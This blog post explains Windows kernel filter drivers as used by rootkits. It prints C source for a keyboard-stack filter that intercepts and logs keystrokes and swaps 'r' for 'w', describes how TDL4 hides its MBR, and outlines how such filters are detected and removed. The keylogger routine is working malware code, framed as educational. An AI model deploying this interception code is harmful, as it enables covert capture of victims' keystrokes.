This is the third part of this series about Kernel Mode rootkits, I wanted to write on it and demonstrate how some rootkits (Ex: Keyloggers) do to intercept keystrokes by using kernel filters.
To understand the basics of kernelmode, drivers, please refer to the first part. This post is about a classic trick, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want 🙂
Kernel filters
A kernel filter is a driver/device attached to another device, so that it’s inserted between 2 different layers of a driver stack.
Imagine that when you press a key on your keyboard the information isn’t sent directly to your screen to type the character. Between the time you pressed the key and the time it’s displayed on the screen, the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.
For each driver, there are some major functions that receive IRPs to process (for example, the disk driver stack can receive a disk read request). Each IRP is processed by the current driver, and passed down to the next driver of the stack. Once we reached the last driver, it’s processed by the hardware and comes back in reverse order. Each driver of the stack is actually a filter and can modify the information. For example, if we try to read a specific file, we can just deny access, or we can modify the bytes directly in the system buffer.
Kernel filters are used by malware or legit drivers to do multiple things, from keylogging to disk access filtering, encryption, …
Practical case: Keylogger
We’ll study a practical case of highly stealth keylogger, deeply hidden in the kernel. Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only. Anyway, this is covered for decades on other websites…
I’ll not show you the entire kernel code, and especially how to attach to the keyboard stack. I’ll just write the hooking filter function. We want to intercept keystrokes, so we will attach to the keyboard stack and read IRP_MJ_READ. I haven’t told before, but as it’s kernel mode code, you’d need to code a driver.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
//Each driver that passes IRPs on to lower drivers must set up the stack location for the
//next lower driver. A driver calls IoGetNextIrpStackLocation to get a pointer to the next-lower
//driver’s I/O stack location
PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
*nextIrpStack = *currentIrpStack;
//Set the completion callback
//Tag the IPR so that we get it once completed
IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
//Pass the IRP on down to the driver underneath us
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
//get the device extension - we'll need to use it later
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
//if the request has completed, extract the value of the key
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
// For each pressed key
for(int i = 0; i < numKeys; i++) { KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); //fill in kData structure with info from IRP kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
//***********************************
//Convert the scan code to a key code
//************************************
char keyss[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keyss);
if(keyss != 0)
DbgPrint("[%x] %s -- FLAG %x\n", keys[i].MakeCode, keyss, keys[i].Flags);
//Modify ScanCode
//replace every 'r' (0x13) by a 'w' (0x2C)
if (keys[i].MakeCode == 0x13) keys[i].MakeCode = 0x2c;
//***********************************
//***********************************
}
}
//Mark the Irp pending if necessary
if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
//Remove the Irp from our own count of tagged (pending) IRPs
numPendingIrps--;
return pIrp->IoStatus.Status;
}
The code is self explaining, fully commented.
We get an IRP from the IRP_MJ_READ function coming from userland, and we tag the IRP so that we get a completion routine hit when we come from the hardware (keyboard). In the completion routine, we just modify every ‘r’ keystroke by a ‘w’ keystroke.
A demo of the rootkit is available here:
Special example: TDL4
TDL4 rootkit uses kernel filters to attach to atapi driver stack, and filter disk access to hide it’s infected MBR. However, TDL4 doesn’t use a classic kernel filter, but a reverse attaching (not attached above, but attached below the device stack). Here’s some screenshots about what it looks like seen from the kernel. Note: In these screenshot, the practical case above was also started, this is why you can see a detected keylogger as well.
Detection/Removal
To detect kernel filters, we need to load a driver that will scan recursively all attached devices of a driver, and get for each the driver name and module. To remove a Kernel filter, you just need to remove the filter device from the attached pointer. Pretty straight forward, but can be dangerous (BSoD).
Useful links
– Rootkits: Subversing the windows kernel.
– Filesystem Filter driver tutorial
– OpenSLL encryption from kernel